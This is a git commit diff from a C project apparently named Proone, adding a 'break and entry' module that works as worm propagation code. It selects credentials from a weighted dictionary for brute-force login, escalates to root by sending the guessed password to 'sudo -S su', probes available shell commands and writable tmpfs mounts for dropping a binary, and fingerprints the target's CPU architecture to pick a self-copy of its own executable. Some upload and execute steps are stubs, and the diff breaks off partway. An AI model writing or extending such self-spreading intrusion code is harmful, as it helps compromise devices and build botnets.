aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-19 03:15:28 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-19 03:15:28 +0930
commit66a17c4bf5c38579e460209c2028d3275f366121 (patch)
treee169276fb0b1686abb01c0c5e794e96aaa253e13
parent54166c46f32555532dc3c0e922fe6a591cb74128 (diff)
Impl bne
-rw-r--r--src/bne.c1365
-rw-r--r--src/bne.h2
-rw-r--r--src/endian.h4
-rw-r--r--src/libssh2.c38
-rw-r--r--src/libssh2.h10
-rw-r--r--src/proone-bne.c12
-rw-r--r--src/util_rt.c21
-rw-r--r--src/util_rt.h5
8 files changed, 1275 insertions, 182 deletions
diff --git a/src/bne.c b/src/bne.c
index bf82199..3908110 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -5,18 +5,38 @@
#include "llist.h"
#include "rnd.h"
#include "libssh2.h"
+#include "iobuf.h"
+#include "endian.h"
#include <string.h>
#include <ctype.h>
#include <errno.h>
+#include <elf.h>
+
+
static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m
static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s
static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s
static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
+
#define BNE_CONN_TIMEOUT 5000 // 5s
#define BNE_CONN_ATTEMPT 3
+#define BNE_HDELAY_TYPE_MIN 150 // 150ms
+#define BNE_HDELAY_TYPE_VAR 100 // 100ms
+#define BNE_HDELAY_PROMPT_MIN 800 // 0.8s
+#define BNE_HDELAY_PROMPT_VAR 1000 // 1s
+
+#define BNE_AVAIL_CMD_ECHO 0x01
+#define BNE_AVAIL_CMD_CAT 0x02
+#define BNE_AVAIL_CMD_DD 0x04
+#define BNE_AVAIL_CMD_BASE64 0x08
+
+#define BNE_CMD_TERMINATOR "PRNE-EOF960ef402-b026-49b2-9434-61aa64cf44f2"
+#define BNE_TERM_CMD "echo -n "BNE_CMD_TERMINATOR"\n"
+
+
struct prne_bne {
prne_iset_t cred_set;
prne_rnd_t rnd;
@@ -32,12 +52,53 @@ typedef struct {
typedef struct {
LIBSSH2_SESSION *ss;
LIBSSH2_CHANNEL *ch_shell;
- LIBSSH2_CHANNEL *ch_sftp;
char *auth_list;
int fd;
prne_llist_t ports;
} bne_vssh_ctx_t;
+typedef unsigned int bne_avail_cmds_t;
+
+typedef struct {
+ void *ctx;
+ ssize_t (*read_f)( // combines stdout and stderr
+ void *ctx,
+ void *buf,
+ const size_t len,
+ pth_event_t ev);
+ ssize_t (*write_f)( // loops on the buf to always return len or -1
+ void *ctx,
+ const void *buf,
+ const size_t len,
+ pth_event_t ev);
+ uint8_t buf[2048];
+ char line[256];
+ prne_iobuf_t ib;
+ prne_llist_t up_loc; // series of null-terminated string
+ bne_avail_cmds_t avail_cmds;
+} bne_sh_ctx_t;
+
+static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) {
+ for (prne_llist_entry_t *e = p->up_loc.head; e != NULL; e = e->next) {
+ prne_free((void*)e->element);
+ }
+ prne_llist_clear(&p->up_loc);
+}
+
+static void bne_init_sh_ctx (bne_sh_ctx_t *p) {
+ prne_memzero(p, sizeof(bne_sh_ctx_t));
+ prne_init_llist(&p->up_loc);
+ prne_init_iobuf(&p->ib);
+ prne_iobuf_setextbuf(&p->ib, p->buf, sizeof(p->buf), 0);
+}
+
+static void bne_free_sh_ctx (bne_sh_ctx_t *p) {
+ bne_sh_ctx_free_mp(p);
+ prne_free_llist(&p->up_loc);
+
+ prne_memzero(p, sizeof(bne_sh_ctx_t));
+}
+
static bool bne_build_cred_set (prne_bne_t *ctx) {
bool ret = true;
@@ -83,6 +144,153 @@ static void bne_free_result_cred (prne_bne_t *ctx) {
ctx->result.cred.pw = NULL;
}
+/*
+* Does linear search to save memory. This is slow. But hey, as long as it works.
+*/
+static bool bne_pop_cred (
+ prne_bne_t *ctx,
+ const bool per_id)
+{
+ prne_cred_dict_entry_t *ent, *rc = NULL;
+ size_t coin;
+ uint_fast16_t w_tmp;
+ uint8_t wv;
+ prne_iset_t w_set;
+ prne_llist_t cl;
+ const char *ent_id, *ent_pw;
+ bool ret = true, id_match;
+
+ if (ctx->cred_set.size == 0) {
+ return false;
+ }
+ if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
+ ctx->result.err = errno;
+ return false;
+ }
+
+ prne_init_iset(&w_set);
+ prne_init_llist(&cl);
+
+ // gather weight values
+ for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
+ ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
+ if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+ }
+
+ do {
+ w_tmp = 0;
+ for (size_t i = 0; i < w_set.size; i += 1) {
+ w_tmp += (uint_fast16_t)w_set.arr[i];
+ }
+
+ // determine weight
+ if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+
+ if (w_tmp > 0) {
+ coin = coin % w_tmp;
+
+ w_tmp = 0;
+ wv = (uint8_t)(w_set.arr[w_set.size - 1]);
+ for (size_t i = 0; i < w_set.size; i += 1) {
+ w_tmp += (uint_fast16_t)w_set.arr[i];
+ if (coin < w_tmp) {
+ wv = (uint8_t)(w_set.arr[i]);
+ break;
+ }
+ }
+ }
+ else {
+ wv = 0;
+ }
+
+ // search
+ prne_llist_clear(&cl);
+ for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
+ ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
+ ent_id = ctx->param.cred_dict->m + ent->id;
+
+ if (per_id && ctx->result.cred.id != NULL) {
+ id_match = strcmp(ctx->result.cred.id, ent_id) == 0;
+ }
+ else {
+ id_match = true;
+ }
+
+ if (id_match && ent->weight == wv) {
+ if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) {
+ ret = false;
+ ctx->result.err = errno;
+ goto END;
+ }
+ }
+ }
+
+ if (cl.size > 0) {
+ prne_llist_entry_t *le;
+
+ if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+ coin = coin % cl.size;
+
+ le = cl.head;
+ for (size_t i = 0; i < coin; i += 1) {
+ le = le->next;
+ }
+
+ rc = (prne_cred_dict_entry_t*)le->element;
+ goto END;
+ }
+ else {
+ // try next weight value
+ prne_iset_erase(&w_set, (prne_iset_val_t)(wv));
+ }
+ } while (w_set.size > 0);
+
+END:
+ prne_free_iset(&w_set);
+ prne_free_llist(&cl);
+ bne_free_result_cred(ctx);
+ if (rc != NULL && ret) {
+ size_t id_len, pw_len;
+
+ prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc);
+
+ ent_id = ctx->param.cred_dict->m + rc->id;
+ ent_pw = ctx->param.cred_dict->m + rc->pw;
+ id_len = strlen(ent_id);
+ pw_len = strlen(ent_pw);
+
+ ctx->result.cred.id = prne_alloc_str(id_len);
+ ctx->result.cred.pw = prne_alloc_str(pw_len);
+ if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) {
+ ctx->result.err = errno;
+ ret = false;
+ bne_free_result_cred(ctx);
+ }
+ else {
+ memcpy(ctx->result.cred.id, ent_id, id_len + 1);
+ memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1);
+ }
+ }
+
+ if (ctx->param.cb.exit_dd != NULL) {
+ ctx->param.cb.exit_dd();
+ }
+
+ return ret;
+}
+
static bool bne_do_connect (
const int af,
const struct sockaddr *sa,
@@ -129,23 +337,836 @@ ERR:
return true;
}
+static void bne_reset_timer (
+ pth_event_t *ev,
+ const struct timespec *ts)
+{
+ pth_event_free(*ev, FALSE);
+ *ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(*ts));
+ prne_assert(*ev != NULL);
+}
+
+/*******************************************************************************
+ Telnet Vector Impl
+*******************************************************************************/
+static bool bne_do_vec_telnet (prne_bne_t *ctx) {
+ // TODO
+ return false;
+}
+
+/*******************************************************************************
+ Shell Op Abstraction Layer
+*******************************************************************************/
+typedef struct {
+ char *path;
+ size_t weight;
+} bne_mp_t;
+
+static int bne_mp_cmp_f (const void *a, const void *b) {
+ const size_t w_a = ((const bne_mp_t*)a)->weight;
+ const size_t w_b = ((const bne_mp_t*)b)->weight;
+
+ return
+ (w_a < w_b) ? -1 :
+ (w_a > w_b) ? 1 :
+ 0;
+}
+
+static bool bne_sh_sync (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ pth_event_t ev)
+{
+ size_t len;
+ ssize_t f_ret;
+ char *cterm;
+
+ strcpy(s_ctx->line, BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ return false;
+ }
+
+ cterm = NULL;
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ return false;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL);
+ if (cterm == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+static int bne_sh_get_uid (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ pth_event_t ev)
+{
+ size_t len;
+ ssize_t f_ret;
+ char *cterm;
+ int ret = 0; // assume uid is 0 if the command fails
+
+ strcpy(s_ctx->line, "id -u;"BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ return -1;
+ }
+
+ cterm = NULL;
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ return -1;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL);
+ if (cterm == NULL) {
+ return -1;
+ }
+ else {
+ *cterm = 0;
+ sscanf((char*)s_ctx->buf, "%d", &ret);
+ }
+
+ return ret;
+}
+
+static bool bne_sh_sudo (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ pth_event_t ev)
+{
+ static const char LF = '\n';
+ char *colon;
+ size_t pw_len;
+ ssize_t f_ret;
+ size_t len;
+ char *cterm;
+
+ strcpy(s_ctx->line, "sudo -S su;"BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ return false;
+ }
+
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ return false;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+ colon = prne_strnchr((char*)s_ctx->ib.m, ':', s_ctx->ib.len);
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL && colon == NULL);
+
+ if (colon == NULL) {
+/*
+* UID is not 0, but sudo command is not available.
+*/
+ ctx->result.err = EPERM;
+ return false;
+ }
+
+ pw_len = prne_nstrlen(ctx->result.cred.pw);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ if (pw_len > 0) {
+ f_ret = s_ctx->write_f(
+ s_ctx->ctx,
+ ctx->result.cred.pw,
+ pw_len,
+ ev);
+ if (f_ret != (ssize_t)pw_len) {
+ return false;
+ }
+ }
+ // hit enter
+ f_ret = s_ctx->write_f(s_ctx->ctx, &LF, 1, ev);
+ if (f_ret != 1) {
+ return false;
+ }
+
+ // check the uid again
+ if (!bne_sh_sync(ctx, s_ctx, ev) || bne_sh_get_uid(ctx, s_ctx, ev) != 0) {
+ // Failed to sudo
+ return false;
+ }
+
+ return true;
+}
+
+/*
+* 1. Escalate shell if $(id -u) -ne 0
+* - Run "sudo su"
+* - Wait for prompt //.*:
+* - Type password
+* 2. Check available commands
+* - echo
+* - cat
+* - dd
+* - base64
+* (if echo and cat not available, give up)
+* 3. Find a suitable mount point for upload
+* - read /proc/mounts
+* - filter out ro, non-ephemeral fs
+* - prioritise:
+* /tmp: 4
+* /run: 3
+* /dev/shm: 2
+* /dev: 1
+* (other): 0
+* 4. Determine arch
+*/
+static bool bne_sh_setup (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx)
+{
+ bool ret = false;
+ char *cterm, *lf, *mp;
+ pth_event_t ev = NULL;
+ size_t len;
+ ssize_t f_ret;
+ int uid;
+ bne_mp_t *mp_arr = NULL;
+ size_t mp_cnt = 0;
+ prne_llist_entry_t *m_ent;
+ uint8_t e_data = 0;
+ uint16_t e_machine = 0;
+
+ bne_sh_ctx_free_mp(s_ctx);
+
+// TRY
+ // Skip banner
+ if (!bne_sh_sync(ctx, s_ctx, ev)) {
+ goto END;
+ }
+
+ // Check uid
+ uid = bne_sh_get_uid(ctx, s_ctx, ev);
+ if (uid < 0) {
+ goto END;
+ }
+ if (uid != 0) {
+ // Not root. Try escalating the shell
+ if (!bne_sh_sudo(ctx, s_ctx, ev)) {
+ goto END;
+ }
+ }
+
+ strcpy(
+ s_ctx->line,
+ "echo 2> /dev/null > /dev/null; echo $?;"
+ "echo | cat 2> /dev/null > /dev/null; echo $?;"
+ "echo | dd 2> /dev/null > /dev/null; echo $?;"
+ "echo | base64 2> /dev/null > /dev/null; echo $?;"
+ BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ goto END;
+ }
+
+ cterm = NULL;
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL);
+ if (cterm == NULL) {
+ goto END;
+ }
+ else {
+ int r_echo, r_cat, r_dd, r_base64;
+
+ *cterm = 0;
+ if (sscanf(
+ (char*)s_ctx->buf,
+ "%d %d %d %d",
+ &r_echo,
+ &r_cat,
+ &r_dd,
+ &r_base64) != 4)
+ {
+ goto END;
+ }
+
+ s_ctx->avail_cmds =
+ (r_echo < 127 ? BNE_AVAIL_CMD_ECHO : 0) |
+ (r_cat < 127 ? BNE_AVAIL_CMD_CAT : 0) |
+ (r_dd < 127 ? BNE_AVAIL_CMD_DD : 0) |
+ (r_base64 < 127 ? BNE_AVAIL_CMD_BASE64 : 0);
+ }
+
+ if (!((s_ctx->avail_cmds & BNE_AVAIL_CMD_ECHO) &&
+ (s_ctx->avail_cmds & BNE_AVAIL_CMD_CAT)))
+ {
+ ctx->result.err = ENOSYS;
+ goto END;
+ }
+
+ // read /proc/mounts
+ strcpy(
+ s_ctx->line,
+ "cat /proc/mounts;"BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ goto END;
+ }
+
+ cterm = NULL;
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+
+ while (true) {
+ lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len);
+ if (lf == NULL) {
+ break;
+ }
+ *lf = 0;
+
+ // fs
+ if (sscanf(
+ (char*)s_ctx->ib.m,
+ "%*s %*s %255s %*s %*d %*d",
+ s_ctx->line) != 1)
+ {
+ goto ENDL;
+ }
+ if (!(strcmp(s_ctx->line, "devtmpfs") == 0 ||
+ strcmp(s_ctx->line, "tmpfs") == 0))
+ {
+ goto ENDL;
+ }
+ // options
+ if (sscanf(
+ (char*)s_ctx->ib.m,
+ "%*s %*s %*s %255s %*d %*d",
+ s_ctx->line) != 1)
+ {
+ goto ENDL;
+ }
+ if (strstr(s_ctx->line, "rw") != s_ctx->line) {
+ goto ENDL;
+ }
+ // mount point
+ if (sscanf(
+ (char*)s_ctx->ib.m,
+ "%*s %255s %*s %*s %*d %*d",
+ s_ctx->line) != 1)
+ {
+ goto ENDL;
+ }
+ len = strlen(s_ctx->line);
+ mp = prne_alloc_str(len);
+ if (mp == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ memcpy(mp, s_ctx->line, len + 1);
+ if (prne_llist_append(
+ &s_ctx->up_loc,
+ (prne_llist_element_t)mp) == NULL)
+ {
+ ctx->result.err = errno;
+ prne_free(mp);
+ goto END;
+ }
+ENDL:
+ prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1));
+ }
+
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL);
+
+ if (s_ctx->up_loc.size == 0) {
+ // no suitable mount point found
+ ctx->result.err = ENOSPC;
+ goto END;
+ }
+
+ // sort candidate mount points
+ mp_cnt = s_ctx->up_loc.size;
+ mp_arr = (bne_mp_t*)prne_malloc(sizeof(bne_mp_t), mp_cnt);
+ if (mp_arr == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ m_ent = s_ctx->up_loc.head;
+ for (size_t i = 0; i < mp_cnt; i += 1) {
+ mp = (char*)m_ent->element;
+ mp_arr[i].path = mp;
+ if (strcmp(mp, "/tmp") == 0) {
+ mp_arr[i].weight = 4;
+ }
+ else if (strcmp(mp, "/run") == 0) {
+ mp_arr[i].weight = 3;
+ }
+ else if (strcmp(mp, "/dev/shm") == 0) {
+ mp_arr[i].weight = 2;
+ }
+ else if (strcmp(mp, "/dev") == 0) {
+ mp_arr[i].weight = 1;
+ }
+ else {
+ mp_arr[i].weight = 0;
+ }
+ m_ent = m_ent->next;
+ }
+ prne_llist_clear(&s_ctx->up_loc);
+ qsort(mp_arr, mp_cnt, sizeof(bne_mp_t), bne_mp_cmp_f);
+ for (size_t i = 0, j = mp_cnt - 1; i < mp_cnt; i += 1, j -= 1) {
+ if (prne_llist_append(
+ &s_ctx->up_loc,
+ (prne_llist_element_t)mp_arr[j].path) != NULL)
+ {
+ mp_arr[j].path = NULL;
+ }
+ else {
+ ctx->result.err = errno;
+ goto END;
+ }
+ }
+ prne_free(mp_arr);
+ mp_arr = NULL;
+ mp_cnt = 0;
+
+ // determine arch
+ strcpy(s_ctx->line, "cat /bin/sh;"BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ goto END;
+ }
+
+ while (true) {
+ prne_iobuf_reset(&s_ctx->ib);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+
+ if (e_data == 0 && s_ctx->ib.len >= EI_NIDENT) {
+ if (!(s_ctx->ib.m[EI_MAG0] == ELFMAG0 &&
+ s_ctx->ib.m[EI_MAG1] == ELFMAG1 &&
+ s_ctx->ib.m[EI_MAG2] == ELFMAG2 &&
+ s_ctx->ib.m[EI_MAG3] == ELFMAG3))
+ {
+ ctx->result.err = ENOEXEC;
+ goto END;
+ }
+
+ if (s_ctx->ib.m[EI_CLASS] == ELFCLASS32) {
+ const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)s_ctx->ib.m;
+
+ if (s_ctx->ib.len < sizeof(Elf32_Ehdr)) {
+ goto NEXT;
+ }
+ e_machine = hdr->e_machine;
+ }
+ else if (s_ctx->ib.m[EI_CLASS] == ELFCLASS64) {
+ const Elf64_Ehdr *hdr = (const Elf64_Ehdr*)s_ctx->ib.m;
+
+ if (s_ctx->ib.len < sizeof(Elf64_Ehdr)) {
+ goto NEXT;
+ }
+ e_machine = hdr->e_machine;
+ }
+ else {
+ ctx->result.err = ENOEXEC;
+ goto END;
+ }
+
+ e_data = s_ctx->ib.m[EI_DATA];
+ switch (e_data) {
+ case ELFDATA2LSB: e_machine = prne_le16toh(e_machine); break;
+ case ELFDATA2MSB: e_machine = prne_be16toh(e_machine); break;
+ default:
+ ctx->result.err = ENOEXEC;
+ goto END;
+ }
+ }
+NEXT:
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ if (cterm != NULL) {
+ break;
+ }
+ }
+
+ if (e_data == 0) {
+ ctx->result.err = ENOEXEC;
+ goto END;
+ }
+ if (e_machine == EM_ARM) {
+ bool seen_v7 = false, seen_vfp = false, seen_thumb = false;
+
+ // read /proc/cpuinfo
+ strcpy(s_ctx->line, "cat /proc/cpuinfo;"BNE_TERM_CMD);
+ len = strlen(s_ctx->line);
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
+ if (f_ret != (ssize_t)len) {
+ goto END;
+ }
+
+ cterm = NULL;
+ prne_iobuf_reset(&s_ctx->ib);
+ do {
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->read_f(
+ s_ctx->ctx,
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
+
+ while (true) {
+ lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len);
+ if (lf == NULL) {
+ break;
+ }
+ *lf = 0;
+ prne_transstr((char*)s_ctx->ib.m, tolower);
+
+ if (ctx->result.arch == PRNE_ARCH_NONE) {
+ if (strstr((char*)s_ctx->ib.m, "processor") ==
+ (char*)s_ctx->ib.m ||
+ strstr((char*)s_ctx->ib.m, "model name") ==
+ (char*)s_ctx->ib.m)
+ {
+ if (strstr((char*)s_ctx->ib.m, "v7") != NULL) {
+ seen_v7 = true;
+ }
+ }
+ else if (strstr((char*)s_ctx->ib.m, "features") ==
+ (char*)s_ctx->ib.m)
+ {
+ if (strstr((char*)s_ctx->ib.m, "vfp") != NULL) {
+ seen_vfp = true;
+ }
+ if (strstr((char*)s_ctx->ib.m, "thumb") != NULL) {
+ seen_thumb = true;
+ }
+ }
+ }
+
+ prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1));
+ }
+
+ cterm = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ BNE_CMD_TERMINATOR,
+ strlen(BNE_CMD_TERMINATOR));
+ } while (s_ctx->ib.avail > 0 && cterm == NULL);
+
+ if (seen_v7 && seen_vfp && seen_thumb) {
+ ctx->result.arch = PRNE_ARCH_ARMV7;
+ }
+ else {
+ ctx->result.arch = PRNE_ARCH_ARMV4T;
+ }
+ }
+ else {
+ switch (e_data) {
+ case ELFDATA2LSB:
+ switch (e_machine) {
+ case EM_386: ctx->result.arch = PRNE_ARCH_I686; break;
+ case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break;
+ case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break;
+ case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break;
+ case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break;
+ case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break;
+ }
+ break;
+ case ELFDATA2MSB:
+ switch (e_machine) {
+ case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break;
+ case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break;
+ case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break;
+ case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break;
+ }
+ break;
+ }
+ }
+
+ ret = ctx->result.arch != PRNE_ARCH_NONE;
+
+END: // CATCH
+ for (size_t i = 0; i < mp_cnt; i += 1) {
+ prne_free(mp_arr[i].path);
+ }
+ prne_free(mp_arr);
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
+/*
+* mkdir "$(dir)/.prne" &&
+* cd "$(dir)/.prne" &&
+* touch "$exec_name" &&
+* chmod "$mode" "$exec_name"
+*/
+static bool bne_sh_prep_upload (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ const char *dir,
+ const char *exec_name,
+ const char *mode)
+{
+ // TODO
+ return false;
+}
+
+/*
+* When upload fails
+* rm -rf "$(dir)/.prne"
+*/
+static bool bne_sh_cleanup_upload (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ const char *dir)
+{
+ // TODO
+ return false;
+}
+
+/*
+* - echo -ne > "$exec"
+* - echo -ne "binary" >> "$exec"
+*/
+static bool bne_sh_upload_echo (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ const char *exec)
+{
+ // TODO
+ return false;
+}
+
+/*
+* - Run executable: "./$exec" & disown
+*/
+static bool bne_sh_run_exec (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx,
+ const char *exec)
+{
+ // TODO
+ return false;
+}
+
+static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
+ static const bne_avail_cmds_t IMPL_UPLOAD_METHODS =
+ BNE_AVAIL_CMD_ECHO;
+ bool ret = false;
+ bne_avail_cmds_t avail_cmd, cur_cmd;
+ bool (*upload_f)(prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, const char *exec);
+ char *exec_name = NULL;
+ prne_bin_rcb_ctx_t rcb;
+
+ prne_init_bin_rcb_ctx(&rcb);
+
+// TRY
+ exec_name = ctx->param.cb.exec_name();
+ if (exec_name == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+
+ if (!bne_sh_setup(ctx, sh_ctx)) {
+ goto END;
+ }
+
+ ctx->result.prc = prne_start_bin_rcb(
+ &rcb,
+ ctx->result.arch,
+ ctx->param.rcb.self,
+ ctx->param.rcb.m_self,
+ ctx->param.rcb.self_len,
+ ctx->param.rcb.exec_len,
+ ctx->param.rcb.m_dv,
+ ctx->param.rcb.dv_len,
+ ctx->param.rcb.ba);
+ if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) {
+ // retry with compatible arch if available
+ switch (ctx->result.arch) {
+ case PRNE_ARCH_AARCH64:
+ case PRNE_ARCH_ARMV7:
+ ctx->result.arch = PRNE_ARCH_ARMV4T;
+ break;
+ case PRNE_ARCH_X86_64:
+ ctx->result.arch = PRNE_ARCH_I686;
+ break;
+ default: goto END;
+ }
+ ctx->result.prc = prne_start_bin_rcb(
+ &rcb,
+ ctx->result.arch,
+ ctx->param.rcb.self,
+ ctx->param.rcb.m_self,
+ ctx->param.rcb.self_len,
+ ctx->param.rcb.exec_len,
+ ctx->param.rcb.m_dv,
+ ctx->param.rcb.dv_len,
+ ctx->param.rcb.ba);
+ }
+ if (ctx->result.prc != PRNE_PACK_RC_OK) {
+ goto END;
+ }
+
